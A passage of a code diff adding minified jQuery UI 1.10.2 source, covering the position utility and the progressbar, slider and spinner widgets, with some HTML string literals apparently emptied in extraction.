+ .first(), + )), + undefined) + : (this.next(e), undefined); + }, + _hasScroll: function () { + return ( + this.element.outerHeight() < + this.element.prop('scrollHeight') + ); + }, + select: function (e) { + this.active = + this.active || t(e.target).closest('.ui-menu-item'); + var i = {item: this.active}; + this.active.has('.ui-menu').length || this.collapseAll(e, !0), + this._trigger('select', e, i); + }, + }); + })(jQuery), + (function (t, e) { + function i(t, e, i) { + return [ + parseFloat(t[0]) * (p.test(t[0]) ? e / 100 : 1), + parseFloat(t[1]) * (p.test(t[1]) ? i / 100 : 1), + ]; + } + function s(e, i) { + return parseInt(t.css(e, i), 10) || 0; + } + function n(e) { + var i = e[0]; + return 9 === i.nodeType + ? { + width: e.width(), + height: e.height(), + offset: {top: 0, left: 0}, + } + : t.isWindow(i) + ? { + width: e.width(), + height: e.height(), + offset: {top: e.scrollTop(), left: e.scrollLeft()}, + } + : i.preventDefault + ? {width: 0, height: 0, offset: {top: i.pageY, left: i.pageX}} + : { + width: e.outerWidth(), + height: e.outerHeight(), + offset: e.offset(), + }; + } + t.ui = t.ui || {}; + var o, + a = Math.max, + r = Math.abs, + h = Math.round, + l = /left|center|right/, + c = /top|center|bottom/, + u = /[\+\-]\d+(\.[\d]+)?%?/, + d = /^\w+/, + p = /%$/, + f = t.fn.position; + (t.position = { + scrollbarWidth: function () { + if (o !== e) return o; + var i, + s, + n = t( + "
    ", + ), + a = n.children()[0]; + return ( + t('body').append(n), + (i = a.offsetWidth), + n.css('overflow', 'scroll'), + (s = a.offsetWidth), + i === s && (s = n[0].clientWidth), + n.remove(), + (o = i - s) + ); + }, + getScrollInfo: function (e) { + var i = e.isWindow ? '' : e.element.css('overflow-x'), + s = e.isWindow ? '' : e.element.css('overflow-y'), + n = + 'scroll' === i || + ('auto' === i && e.width < e.element[0].scrollWidth), + o = + 'scroll' === s || + ('auto' === s && e.height < e.element[0].scrollHeight); + return { + width: o ? t.position.scrollbarWidth() : 0, + height: n ? t.position.scrollbarWidth() : 0, + }; + }, + getWithinInfo: function (e) { + var i = t(e || window), + s = t.isWindow(i[0]); + return { + element: i, + isWindow: s, + offset: i.offset() || {left: 0, top: 0}, + scrollLeft: i.scrollLeft(), + scrollTop: i.scrollTop(), + width: s ? i.width() : i.outerWidth(), + height: s ? i.height() : i.outerHeight(), + }; + }, + }), + (t.fn.position = function (e) { + if (!e || !e.of) return f.apply(this, arguments); + e = t.extend({}, e); + var o, + p, + g, + m, + v, + _, + b = t(e.of), + y = t.position.getWithinInfo(e.within), + w = t.position.getScrollInfo(y), + k = (e.collision || 'flip').split(' '), + x = {}; + return ( + (_ = n(b)), + b[0].preventDefault && (e.at = 'left top'), + (p = _.width), + (g = _.height), + (m = _.offset), + (v = t.extend({}, m)), + t.each(['my', 'at'], function () { + var t, + i, + s = (e[this] || '').split(' '); + 1 === s.length && + (s = l.test(s[0]) + ? s.concat(['center']) + : c.test(s[0]) + ? ['center'].concat(s) + : ['center', 'center']), + (s[0] = l.test(s[0]) ? s[0] : 'center'), + (s[1] = c.test(s[1]) ? s[1] : 'center'), + (t = u.exec(s[0])), + (i = u.exec(s[1])), + (x[this] = [t ? t[0] : 0, i ? i[0] : 0]), + (e[this] = [d.exec(s[0])[0], d.exec(s[1])[0]]); + }), + 1 === k.length && (k[1] = k[0]), + 'right' === e.at[0] + ? (v.left += p) + : 'center' === e.at[0] && (v.left += p / 2), + 'bottom' === e.at[1] + ? (v.top += g) + : 'center' === e.at[1] && (v.top += g / 2), + (o = i(x.at, p, g)), + (v.left += o[0]), + (v.top += o[1]), + this.each(function () { + var n, + l, + c = t(this), + u = c.outerWidth(), + d = c.outerHeight(), + f = s(this, 'marginLeft'), + _ = s(this, 'marginTop'), + D = u + f + s(this, 'marginRight') + w.width, + C = d + _ + s(this, 'marginBottom') + w.height, + I = t.extend({}, v), + P = i(x.my, c.outerWidth(), c.outerHeight()); + 'right' === e.my[0] + ? (I.left -= u) + : 'center' === e.my[0] && (I.left -= u / 2), + 'bottom' === e.my[1] + ? (I.top -= d) + : 'center' === e.my[1] && (I.top -= d / 2), + (I.left += P[0]), + (I.top += P[1]), + t.support.offsetFractions || + ((I.left = h(I.left)), (I.top = h(I.top))), + (n = {marginLeft: f, marginTop: _}), + t.each(['left', 'top'], function (i, s) { + t.ui.position[k[i]] && + t.ui.position[k[i]][s](I, { + targetWidth: p, + targetHeight: g, + elemWidth: u, + elemHeight: d, + collisionPosition: n, + collisionWidth: D, + collisionHeight: C, + offset: [o[0] + P[0], o[1] + P[1]], + my: e.my, + at: e.at, + within: y, + elem: c, + }); + }), + e.using && + (l = function (t) { + var i = m.left - I.left, + s = i + p - u, + n = m.top - I.top, + o = n + g - d, + h = { + target: { + element: b, + left: m.left, + top: m.top, + width: p, + height: g, + }, + element: { + element: c, + left: I.left, + top: I.top, + width: u, + height: d, + }, + horizontal: + 0 > s + ? 'left' + : i > 0 + ? 'right' + : 'center', + vertical: + 0 > o + ? 'top' + : n > 0 + ? 'bottom' + : 'middle', + }; + u > p && + p > r(i + s) && + (h.horizontal = 'center'), + d > g && + g > r(n + o) && + (h.vertical = 'middle'), + (h.important = + a(r(i), r(s)) > a(r(n), r(o)) + ? 'horizontal' + : 'vertical'), + e.using.call(this, t, h); + }), + c.offset(t.extend(I, {using: l})); + }) + ); + }), + (t.ui.position = { + fit: { + left: function (t, e) { + var i, + s = e.within, + n = s.isWindow ? s.scrollLeft : s.offset.left, + o = s.width, + r = t.left - e.collisionPosition.marginLeft, + h = n - r, + l = r + e.collisionWidth - o - n; + e.collisionWidth > o + ? h > 0 && 0 >= l + ? ((i = t.left + h + e.collisionWidth - o - n), + (t.left += h - i)) + : (t.left = + l > 0 && 0 >= h + ? n + : h > l + ? n + o - e.collisionWidth + : n) + : h > 0 + ? (t.left += h) + : l > 0 + ? (t.left -= l) + : (t.left = a(t.left - r, t.left)); + }, + top: function (t, e) { + var i, + s = e.within, + n = s.isWindow ? s.scrollTop : s.offset.top, + o = e.within.height, + r = t.top - e.collisionPosition.marginTop, + h = n - r, + l = r + e.collisionHeight - o - n; + e.collisionHeight > o + ? h > 0 && 0 >= l + ? ((i = t.top + h + e.collisionHeight - o - n), + (t.top += h - i)) + : (t.top = + l > 0 && 0 >= h + ? n + : h > l + ? n + o - e.collisionHeight + : n) + : h > 0 + ? (t.top += h) + : l > 0 + ? (t.top -= l) + : (t.top = a(t.top - r, t.top)); + }, + }, + flip: { + left: function (t, e) { + var i, + s, + n = e.within, + o = n.offset.left + n.scrollLeft, + a = n.width, + h = n.isWindow ? n.scrollLeft : n.offset.left, + l = t.left - e.collisionPosition.marginLeft, + c = l - h, + u = l + e.collisionWidth - a - h, + d = + 'left' === e.my[0] + ? -e.elemWidth + : 'right' === e.my[0] + ? e.elemWidth + : 0, + p = + 'left' === e.at[0] + ? e.targetWidth + : 'right' === e.at[0] + ? -e.targetWidth + : 0, + f = -2 * e.offset[0]; + 0 > c + ? ((i = + t.left + + d + + p + + f + + e.collisionWidth - + a - + o), + (0 > i || r(c) > i) && (t.left += d + p + f)) + : u > 0 && + ((s = + t.left - + e.collisionPosition.marginLeft + + d + + p + + f - + h), + (s > 0 || u > r(s)) && (t.left += d + p + f)); + }, + top: function (t, e) { + var i, + s, + n = e.within, + o = n.offset.top + n.scrollTop, + a = n.height, + h = n.isWindow ? n.scrollTop : n.offset.top, + l = t.top - e.collisionPosition.marginTop, + c = l - h, + u = l + e.collisionHeight - a - h, + d = 'top' === e.my[1], + p = d + ? -e.elemHeight + : 'bottom' === e.my[1] + ? e.elemHeight + : 0, + f = + 'top' === e.at[1] + ? e.targetHeight + : 'bottom' === e.at[1] + ? -e.targetHeight + : 0, + g = -2 * e.offset[1]; + 0 > c + ? ((s = + t.top + + p + + f + + g + + e.collisionHeight - + a - + o), + t.top + p + f + g > c && + (0 > s || r(c) > s) && + (t.top += p + f + g)) + : u > 0 && + ((i = + t.top - + e.collisionPosition.marginTop + + p + + f + + g - + h), + t.top + p + f + g > u && + (i > 0 || u > r(i)) && + (t.top += p + f + g)); + }, + }, + flipfit: { + left: function () { + t.ui.position.flip.left.apply(this, arguments), + t.ui.position.fit.left.apply(this, arguments); + }, + top: function () { + t.ui.position.flip.top.apply(this, arguments), + t.ui.position.fit.top.apply(this, arguments); + }, + }, + }), + (function () { + var e, + i, + s, + n, + o, + a = document.getElementsByTagName('body')[0], + r = document.createElement('div'); + (e = document.createElement(a ? 'div' : 'body')), + (s = { + visibility: 'hidden', + width: 0, + height: 0, + border: 0, + margin: 0, + background: 'none', + }), + a && + t.extend(s, { + position: 'absolute', + left: '-1000px', + top: '-1000px', + }); + for (o in s) e.style[o] = s[o]; + e.appendChild(r), + (i = a || document.documentElement), + i.insertBefore(e, i.firstChild), + (r.style.cssText = + 'position: absolute; left: 10.7432222px;'), + (n = t(r).offset().left), + (t.support.offsetFractions = n > 10 && 11 > n), + (e.innerHTML = ''), + i.removeChild(e); + })(); + })(jQuery), + (function (t, e) { + t.widget('ui.progressbar', { + version: '1.10.2', + options: {max: 100, value: 0, change: null, complete: null}, + min: 0, + _create: function () { + (this.oldValue = this.options.value = this._constrainedValue()), + this.element + .addClass( + 'ui-progressbar ui-widget ui-widget-content ui-corner-all', + ) + .attr({role: 'progressbar', 'aria-valuemin': this.min}), + (this.valueDiv = t( + "
    ", + ).appendTo(this.element)), + this._refreshValue(); + }, + _destroy: function () { + this.element + .removeClass( + 'ui-progressbar ui-widget ui-widget-content ui-corner-all', + ) + .removeAttr('role') + .removeAttr('aria-valuemin') + .removeAttr('aria-valuemax') + .removeAttr('aria-valuenow'), + this.valueDiv.remove(); + }, + value: function (t) { + return t === e + ? this.options.value + : ((this.options.value = this._constrainedValue(t)), + this._refreshValue(), + e); + }, + _constrainedValue: function (t) { + return ( + t === e && (t = this.options.value), + (this.indeterminate = t === !1), + 'number' != typeof t && (t = 0), + this.indeterminate + ? !1 + : Math.min(this.options.max, Math.max(this.min, t)) + ); + }, + _setOptions: function (t) { + var e = t.value; + delete t.value, + this._super(t), + (this.options.value = this._constrainedValue(e)), + this._refreshValue(); + }, + _setOption: function (t, e) { + 'max' === t && (e = Math.max(this.min, e)), this._super(t, e); + }, + _percentage: function () { + return this.indeterminate + ? 100 + : (100 * (this.options.value - this.min)) / + (this.options.max - this.min); + }, + _refreshValue: function () { + var e = this.options.value, + i = this._percentage(); + this.valueDiv + .toggle(this.indeterminate || e > this.min) + .toggleClass('ui-corner-right', e === this.options.max) + .width(i.toFixed(0) + '%'), + this.element.toggleClass( + 'ui-progressbar-indeterminate', + this.indeterminate, + ), + this.indeterminate + ? (this.element.removeAttr('aria-valuenow'), + this.overlayDiv || + (this.overlayDiv = t( + "
    ", + ).appendTo(this.valueDiv))) + : (this.element.attr({ + 'aria-valuemax': this.options.max, + 'aria-valuenow': e, + }), + this.overlayDiv && + (this.overlayDiv.remove(), + (this.overlayDiv = null))), + this.oldValue !== e && + ((this.oldValue = e), this._trigger('change')), + e === this.options.max && this._trigger('complete'); + }, + }); + })(jQuery), + (function (t) { + var e = 5; + t.widget('ui.slider', t.ui.mouse, { + version: '1.10.2', + widgetEventPrefix: 'slide', + options: { + animate: !1, + distance: 0, + max: 100, + min: 0, + orientation: 'horizontal', + range: !1, + step: 1, + value: 0, + values: null, + change: null, + slide: null, + start: null, + stop: null, + }, + _create: function () { + (this._keySliding = !1), + (this._mouseSliding = !1), + (this._animateOff = !0), + (this._handleIndex = null), + this._detectOrientation(), + this._mouseInit(), + this.element.addClass( + 'ui-slider ui-slider-' + + this.orientation + + ' ui-widget' + + ' ui-widget-content' + + ' ui-corner-all', + ), + this._refresh(), + this._setOption('disabled', this.options.disabled), + (this._animateOff = !1); + }, + _refresh: function () { + this._createRange(), + this._createHandles(), + this._setupEvents(), + this._refreshValue(); + }, + _createHandles: function () { + var e, + i, + s = this.options, + n = this.element + .find('.ui-slider-handle') + .addClass('ui-state-default ui-corner-all'), + o = + "", + a = []; + for ( + i = (s.values && s.values.length) || 1, + n.length > i && + (n.slice(i).remove(), (n = n.slice(0, i))), + e = n.length; + i > e; + e++ + ) + a.push(o); + (this.handles = n.add(t(a.join('')).appendTo(this.element))), + (this.handle = this.handles.eq(0)), + this.handles.each(function (e) { + t(this).data('ui-slider-handle-index', e); + }); + }, + _createRange: function () { + var e = this.options, + i = ''; + e.range + ? (e.range === !0 && + (e.values + ? e.values.length && 2 !== e.values.length + ? (e.values = [e.values[0], e.values[0]]) + : t.isArray(e.values) && + (e.values = e.values.slice(0)) + : (e.values = [ + this._valueMin(), + this._valueMin(), + ])), + this.range && this.range.length + ? this.range + .removeClass( + 'ui-slider-range-min ui-slider-range-max', + ) + .css({left: '', bottom: ''}) + : ((this.range = t('
    ').appendTo( + this.element, + )), + (i = + 'ui-slider-range ui-widget-header ui-corner-all')), + this.range.addClass( + i + + ('min' === e.range || 'max' === e.range + ? ' ui-slider-range-' + e.range + : ''), + )) + : (this.range = t([])); + }, + _setupEvents: function () { + var t = this.handles.add(this.range).filter('a'); + this._off(t), + this._on(t, this._handleEvents), + this._hoverable(t), + this._focusable(t); + }, + _destroy: function () { + this.handles.remove(), + this.range.remove(), + this.element.removeClass( + 'ui-slider ui-slider-horizontal ui-slider-vertical ui-widget ui-widget-content ui-corner-all', + ), + this._mouseDestroy(); + }, + _mouseCapture: function (e) { + var i, + s, + n, + o, + a, + r, + h, + l, + c = this, + u = this.options; + return u.disabled + ? !1 + : ((this.elementSize = { + width: this.element.outerWidth(), + height: this.element.outerHeight(), + }), + (this.elementOffset = this.element.offset()), + (i = {x: e.pageX, y: e.pageY}), + (s = this._normValueFromMouse(i)), + (n = this._valueMax() - this._valueMin() + 1), + this.handles.each(function (e) { + var i = Math.abs(s - c.values(e)); + (n > i || + (n === i && + (e === c._lastChangedValue || + c.values(e) === u.min))) && + ((n = i), (o = t(this)), (a = e)); + }), + (r = this._start(e, a)), + r === !1 + ? !1 + : ((this._mouseSliding = !0), + (this._handleIndex = a), + o.addClass('ui-state-active').focus(), + (h = o.offset()), + (l = !t(e.target) + .parents() + .addBack() + .is('.ui-slider-handle')), + (this._clickOffset = l + ? {left: 0, top: 0} + : { + left: e.pageX - h.left - o.width() / 2, + top: + e.pageY - + h.top - + o.height() / 2 - + (parseInt( + o.css('borderTopWidth'), + 10, + ) || 0) - + (parseInt( + o.css('borderBottomWidth'), + 10, + ) || 0) + + (parseInt(o.css('marginTop'), 10) || + 0), + }), + this.handles.hasClass('ui-state-hover') || + this._slide(e, a, s), + (this._animateOff = !0), + !0)); + }, + _mouseStart: function () { + return !0; + }, + _mouseDrag: function (t) { + var e = {x: t.pageX, y: t.pageY}, + i = this._normValueFromMouse(e); + return this._slide(t, this._handleIndex, i), !1; + }, + _mouseStop: function (t) { + return ( + this.handles.removeClass('ui-state-active'), + (this._mouseSliding = !1), + this._stop(t, this._handleIndex), + this._change(t, this._handleIndex), + (this._handleIndex = null), + (this._clickOffset = null), + (this._animateOff = !1), + !1 + ); + }, + _detectOrientation: function () { + this.orientation = + 'vertical' === this.options.orientation + ? 'vertical' + : 'horizontal'; + }, + _normValueFromMouse: function (t) { + var e, i, s, n, o; + return ( + 'horizontal' === this.orientation + ? ((e = this.elementSize.width), + (i = + t.x - + this.elementOffset.left - + (this._clickOffset ? this._clickOffset.left : 0))) + : ((e = this.elementSize.height), + (i = + t.y - + this.elementOffset.top - + (this._clickOffset ? this._clickOffset.top : 0))), + (s = i / e), + s > 1 && (s = 1), + 0 > s && (s = 0), + 'vertical' === this.orientation && (s = 1 - s), + (n = this._valueMax() - this._valueMin()), + (o = this._valueMin() + s * n), + this._trimAlignValue(o) + ); + }, + _start: function (t, e) { + var i = {handle: this.handles[e], value: this.value()}; + return ( + this.options.values && + this.options.values.length && + ((i.value = this.values(e)), + (i.values = this.values())), + this._trigger('start', t, i) + ); + }, + _slide: function (t, e, i) { + var s, n, o; + this.options.values && this.options.values.length + ? ((s = this.values(e ? 0 : 1)), + 2 === this.options.values.length && + this.options.range === !0 && + ((0 === e && i > s) || (1 === e && s > i)) && + (i = s), + i !== this.values(e) && + ((n = this.values()), + (n[e] = i), + (o = this._trigger('slide', t, { + handle: this.handles[e], + value: i, + values: n, + })), + (s = this.values(e ? 0 : 1)), + o !== !1 && this.values(e, i, !0))) + : i !== this.value() && + ((o = this._trigger('slide', t, { + handle: this.handles[e], + value: i, + })), + o !== !1 && this.value(i)); + }, + _stop: function (t, e) { + var i = {handle: this.handles[e], value: this.value()}; + this.options.values && + this.options.values.length && + ((i.value = this.values(e)), (i.values = this.values())), + this._trigger('stop', t, i); + }, + _change: function (t, e) { + if (!this._keySliding && !this._mouseSliding) { + var i = {handle: this.handles[e], value: this.value()}; + this.options.values && + this.options.values.length && + ((i.value = this.values(e)), + (i.values = this.values())), + (this._lastChangedValue = e), + this._trigger('change', t, i); + } + }, + value: function (t) { + return arguments.length + ? ((this.options.value = this._trimAlignValue(t)), + this._refreshValue(), + this._change(null, 0), + undefined) + : this._value(); + }, + values: function (e, i) { + var s, n, o; + if (arguments.length > 1) + return ( + (this.options.values[e] = this._trimAlignValue(i)), + this._refreshValue(), + this._change(null, e), + undefined + ); + if (!arguments.length) return this._values(); + if (!t.isArray(arguments[0])) + return this.options.values && this.options.values.length + ? this._values(e) + : this.value(); + for ( + s = this.options.values, n = arguments[0], o = 0; + s.length > o; + o += 1 + ) + (s[o] = this._trimAlignValue(n[o])), this._change(null, o); + this._refreshValue(); + }, + _setOption: function (e, i) { + var s, + n = 0; + switch ( + ('range' === e && + this.options.range === !0 && + ('min' === i + ? ((this.options.value = this._values(0)), + (this.options.values = null)) + : 'max' === i && + ((this.options.value = this._values( + this.options.values.length - 1, + )), + (this.options.values = null))), + t.isArray(this.options.values) && + (n = this.options.values.length), + t.Widget.prototype._setOption.apply(this, arguments), + e) + ) { + case 'orientation': + this._detectOrientation(), + this.element + .removeClass( + 'ui-slider-horizontal ui-slider-vertical', + ) + .addClass('ui-slider-' + this.orientation), + this._refreshValue(); + break; + case 'value': + (this._animateOff = !0), + this._refreshValue(), + this._change(null, 0), + (this._animateOff = !1); + break; + case 'values': + for ( + this._animateOff = !0, this._refreshValue(), s = 0; + n > s; + s += 1 + ) + this._change(null, s); + this._animateOff = !1; + break; + case 'min': + case 'max': + (this._animateOff = !0), + this._refreshValue(), + (this._animateOff = !1); + break; + case 'range': + (this._animateOff = !0), + this._refresh(), + (this._animateOff = !1); + } + }, + _value: function () { + var t = this.options.value; + return (t = this._trimAlignValue(t)); + }, + _values: function (t) { + var e, i, s; + if (arguments.length) + return ( + (e = this.options.values[t]), + (e = this._trimAlignValue(e)) + ); + if (this.options.values && this.options.values.length) { + for ( + i = this.options.values.slice(), s = 0; + i.length > s; + s += 1 + ) + i[s] = this._trimAlignValue(i[s]); + return i; + } + return []; + }, + _trimAlignValue: function (t) { + if (this._valueMin() >= t) return this._valueMin(); + if (t >= this._valueMax()) return this._valueMax(); + var e = this.options.step > 0 ? this.options.step : 1, + i = (t - this._valueMin()) % e, + s = t - i; + return ( + 2 * Math.abs(i) >= e && (s += i > 0 ? e : -e), + parseFloat(s.toFixed(5)) + ); + }, + _valueMin: function () { + return this.options.min; + }, + _valueMax: function () { + return this.options.max; + }, + _refreshValue: function () { + var e, + i, + s, + n, + o, + a = this.options.range, + r = this.options, + h = this, + l = this._animateOff ? !1 : r.animate, + c = {}; + this.options.values && this.options.values.length + ? this.handles.each(function (s) { + (i = + 100 * + ((h.values(s) - h._valueMin()) / + (h._valueMax() - h._valueMin()))), + (c[ + 'horizontal' === h.orientation + ? 'left' + : 'bottom' + ] = i + '%'), + t(this) + .stop(1, 1) + [l ? 'animate' : 'css'](c, r.animate), + h.options.range === !0 && + ('horizontal' === h.orientation + ? (0 === s && + h.range + .stop(1, 1) + [l ? 'animate' : 'css']( + {left: i + '%'}, + r.animate, + ), + 1 === s && + h.range[l ? 'animate' : 'css']( + {width: i - e + '%'}, + { + queue: !1, + duration: r.animate, + }, + )) + : (0 === s && + h.range + .stop(1, 1) + [l ? 'animate' : 'css']( + {bottom: i + '%'}, + r.animate, + ), + 1 === s && + h.range[l ? 'animate' : 'css']( + {height: i - e + '%'}, + { + queue: !1, + duration: r.animate, + }, + ))), + (e = i); + }) + : ((s = this.value()), + (n = this._valueMin()), + (o = this._valueMax()), + (i = o !== n ? 100 * ((s - n) / (o - n)) : 0), + (c[ + 'horizontal' === this.orientation ? 'left' : 'bottom' + ] = i + '%'), + this.handle + .stop(1, 1) + [l ? 'animate' : 'css'](c, r.animate), + 'min' === a && + 'horizontal' === this.orientation && + this.range + .stop(1, 1) + [l ? 'animate' : 'css']( + {width: i + '%'}, + r.animate, + ), + 'max' === a && + 'horizontal' === this.orientation && + this.range[l ? 'animate' : 'css']( + {width: 100 - i + '%'}, + {queue: !1, duration: r.animate}, + ), + 'min' === a && + 'vertical' === this.orientation && + this.range + .stop(1, 1) + [l ? 'animate' : 'css']( + {height: i + '%'}, + r.animate, + ), + 'max' === a && + 'vertical' === this.orientation && + this.range[l ? 'animate' : 'css']( + {height: 100 - i + '%'}, + {queue: !1, duration: r.animate}, + )); + }, + _handleEvents: { + keydown: function (i) { + var s, + n, + o, + a, + r = t(i.target).data('ui-slider-handle-index'); + switch (i.keyCode) { + case t.ui.keyCode.HOME: + case t.ui.keyCode.END: + case t.ui.keyCode.PAGE_UP: + case t.ui.keyCode.PAGE_DOWN: + case t.ui.keyCode.UP: + case t.ui.keyCode.RIGHT: + case t.ui.keyCode.DOWN: + case t.ui.keyCode.LEFT: + if ( + (i.preventDefault(), + !this._keySliding && + ((this._keySliding = !0), + t(i.target).addClass('ui-state-active'), + (s = this._start(i, r)), + s === !1)) + ) + return; + } + switch ( + ((a = this.options.step), + (n = o = + this.options.values && this.options.values.length + ? this.values(r) + : this.value()), + i.keyCode) + ) { + case t.ui.keyCode.HOME: + o = this._valueMin(); + break; + case t.ui.keyCode.END: + o = this._valueMax(); + break; + case t.ui.keyCode.PAGE_UP: + o = this._trimAlignValue( + n + (this._valueMax() - this._valueMin()) / e, + ); + break; + case t.ui.keyCode.PAGE_DOWN: + o = this._trimAlignValue( + n - (this._valueMax() - this._valueMin()) / e, + ); + break; + case t.ui.keyCode.UP: + case t.ui.keyCode.RIGHT: + if (n === this._valueMax()) return; + o = this._trimAlignValue(n + a); + break; + case t.ui.keyCode.DOWN: + case t.ui.keyCode.LEFT: + if (n === this._valueMin()) return; + o = this._trimAlignValue(n - a); + } + this._slide(i, r, o); + }, + click: function (t) { + t.preventDefault(); + }, + keyup: function (e) { + var i = t(e.target).data('ui-slider-handle-index'); + this._keySliding && + ((this._keySliding = !1), + this._stop(e, i), + this._change(e, i), + t(e.target).removeClass('ui-state-active')); + }, + }, + }); + })(jQuery), + (function (t) { + function e(t) { + return function () { + var e = this.element.val(); + t.apply(this, arguments), + this._refresh(), + e !== this.element.val() && this._trigger('change'); + }; + } + t.widget('ui.spinner', { + version: '1.10.2', + defaultElement: '', + widgetEventPrefix: 'spin', + options: { + culture: null, + icons: { + down: 'ui-icon-triangle-1-s', + up: 'ui-icon-triangle-1-n', + }, + incremental: !0, + max: null, + min: null, + numberFormat: null, + page: 10, + step: 1, + change: null, + spin: null, + start: null, + stop: null, + }, + _create: function () { + this._setOption('max', this.options.max), + this._setOption('min', this.options.min), + this._setOption('step', this.options.step), + this._value(this.element.val(), !0), + this._draw(), + this._on(this._events), + this._refresh(), + this._on(this.window, { + beforeunload: function () { + this.element.removeAttr('autocomplete'); + }, + }); + }, + _getCreateOptions: function () { + var e = {}, + i = this.element; + return ( + t.each(['min', 'max', 'step'], function (t, s) { + var n = i.attr(s); + void 0 !== n && n.length && (e[s] = n); + }), + e + ); + }, + _events: { + keydown: function (t) { + this._start(t) && this._keydown(t) && t.preventDefault(); + }, + keyup: '_stop', + focus: function () { + this.previous = this.element.val(); + }, + blur: function (t) { + return this.cancelBlur + ? (delete this.cancelBlur, void 0) + : (this._stop(), + this._refresh(), + this.previous !== this.element.val() && + this._trigger('change', t), + void 0); + }, + mousewheel: function (t, e) { + if (e) { + if (!this.spinning && !this._start(t)) return !1; + this._spin((e > 0 ? 1 : -1) * this.options.step, t), + clearTimeout(this.mousewheelTimer), + (this.mousewheelTimer = this._delay(function () { + this.spinning && this._stop(t); + }, 100)), + t.preventDefault(); + } + }, + 'mousedown .ui-spinner-button': function (e) { + function i() { + var t = + this.element[0] === this.document[0].activeElement; + t || + (this.element.focus(), + (this.previous = s), + this._delay(function () { + this.previous = s; + })); + } + var s; + (s = + this.element[0] === this.document[0].activeElement + ? this.previous + : this.element.val()), + e.preventDefault(), + i.call(this), + (this.cancelBlur = !0), + this._delay(function () { + delete this.cancelBlur, i.call(this); + }), + this._start(e) !== !1 && + this._repeat( + null, + t(e.currentTarget).hasClass('ui-spinner-up') + ? 1 + : -1, + e, + ); + }, + 'mouseup .ui-spinner-button': '_stop', + 'mouseenter .ui-spinner-button': function (e) { + return t(e.currentTarget).hasClass('ui-state-active') + ? this._start(e) === !1 + ? !1 + : (this._repeat( + null, + t(e.currentTarget).hasClass('ui-spinner-up') + ? 1 + : -1, + e, + ), + void 0) + : void 0; + }, + 'mouseleave .ui-spinner-button': '_stop', + }, + _draw: function () { + var t = (this.uiSpinner = this.element + .addClass('ui-spinner-input') + .attr('autocomplete', 'off') + .wrap(this._uiSpinnerHtml()) + .parent() + .append(this._buttonHtml())); + this.element.attr('role', 'spinbutton'), + (this.buttons = t + .find('.ui-spinner-button') + .attr('tabIndex', -1) + .button() + .removeClass('ui-corner-all')), + this.buttons.height() > Math.ceil(0.5 * t.height()) && + t.height() > 0 && + t.height(t.height()), + this.options.disabled && this.disable(); + }, + _keydown: function (e) { + var i = this.options, + s = t.ui.keyCode; + switch (e.keyCode) { + case s.UP: + return this._repeat(null, 1, e), !0; + case s.DOWN: + return this._repeat(null, -1, e), !0; + case s.PAGE_UP: + return this._repeat(null, i.page, e), !0; + case s.PAGE_DOWN: + return this._repeat(null, -i.page, e), !0; + } + return !1; + }, + _uiSpinnerHtml: function () { + return ""; + }, + _buttonHtml: function () { + return ( + "" + + '' + + "" + + "" + + '' + ); + }, + _start: function (t) { + return this.spinning || this._trigger('start', t) !== !1 + ? (this.counter || (this.counter = 1), + (this.spinning = !0), + !0) + : !1; + }, + _repeat: function (t, e, i) { + (t = t || 500), + clearTimeout(this.timer), + (this.timer = this._delay(function () { + this._repeat(40, e, i); + }, t)), + this._spin(e * this.options.step, i); + }, + _spin: function (t, e) { + var i = this.value() || 0; + this.counter || (this.counter = 1), + (i = this._adjustValue( + i + t * this._increment(this.counter), + )), + (this.spinning && + this._trigger('spin', e, {value: i}) === !1) || + (this._value(i), this.counter++); + }, + _increment: function (e) { + var i = this.options.incremental; + return i + ? t.isFunction(i) + ? i(e) + : Math.floor( + (e * e * e) / 5e4 - + (e * e) / 500 + + (17 * e) / 200 + + 1, + ) + : 1; + }, + _precision: function () { + var t = this._precisionOf(this.options.step); + return ( + null !== this.options.min && + (t = Math.max(t, this._precisionOf(this.options.min))), + t + ); + }, + _precisionOf: function (t) { + var e = '' + t, + i = e.indexOf('.'); + return -1 === i ? 0 : e.length - i - 1; + }, + _adjustValue: function (t) { + var e, + i, + s = this.options; + return ( + (e = null !== s.min ? s.min : 0), + (i = t - e), + (i = Math.round(i / s.step) * s.step), + (t = e + i), + (t = parseFloat(t.toFixed(this._precision()))), + null !== s.max && t > s.max + ? s.max + : null !== s.min && s.min > t + ? s.min + : t + ); + }, + _stop: function (t) { + this.spinning && + (clearTimeout(this.timer), + clearTimeout(this.mousewheelTimer), + (this.counter = 0), + (this.spinning = !1), + this._trigger('stop', t)); + }, + _setOption: function (t, e) { + if ('culture' === t || 'numberFormat' === t) { + var i = this._parse(this.element.val()); + return ( + (this.options[t] = e), + this.element.val(this._format(i)), + void 0 + ); + } + ('max' === t || 'min' === t || 'step' === t) && + 'string' == typeof e && + (e = this._parse(e)), + 'icons' === t && + (this.buttons + .first() + .find('.ui-icon') + .removeClass(this.options.icons.up) + .addClass(e.up), + this.buttons + .last() + .find('.ui-icon') + .removeClass(this.options.icons.down) + .addClass(e.down)), + this._super(t, e), + 'disabled' === t && + (e + ? (this.element.prop('disabled', !0), + this.buttons.button('disable')) + : (this.element.prop('disabled', !1), + this.buttons.button('enable'))); + }, + _setOptions: e(function (t) { + this._super(t), this._value(this.element.val()); + }), + _parse: function (t) { + return ( + 'string' == typeof t && + '' !== t && + (t = + window.Globalize && this.options.numberFormat + ? Globalize.parseFloat( + t, + 10, + this.options.culture, + ) + : +t), + '' === t || isNaN(t) ? null : t + ); + }, + _format: function (t) { + return '' === t + ? '' + : window.Globalize && this.options.numberFormat + ? Globalize.format( + t, + this.options.numberFormat, + this.options.culture, + ) + : t; + }, + _refresh: function () { + this.element.attr({ + 'aria-valuemin': this.options.min, + 'aria-valuemax': this.options.max, + 'aria-valuenow': this._parse(this.element.val()), + }); + }, + _value: function (t, e) { + var i; + '' !== t && + ((i = this._parse(t)), + null !== i && + (e || (i = this._adjustValue(i)), + (t = this._format(i)))), + this.element.val(t), + this._refresh(); + }, + _destroy: function () { + this.element + .removeClass('ui-spinner-input') + .prop('disabled', !1) + .removeAttr('autocomplete') + .removeAttr('role') + .removeAttr('aria-valuemin') + .removeAttr('aria-valuemax') + .removeAttr('aria-valuenow'), + this.uiSpinner.replaceWith(this.element); + }, + stepUp: e(function (t) { + this._stepUp(t); + }), + _stepUp: function (t) { + this._start() && + (this._spin((t || 1) * this.options.step), this._stop()); + }, + stepDown: e(function (t) { + this._stepDown(t); + }), + _stepDown: function (t) { + this._start() && + (this._spin((t || 1) * -this.options.step), this._stop()); + }, + pageUp: e(function (t) { + this._stepUp((t || 1) * this.options.page); + }), + 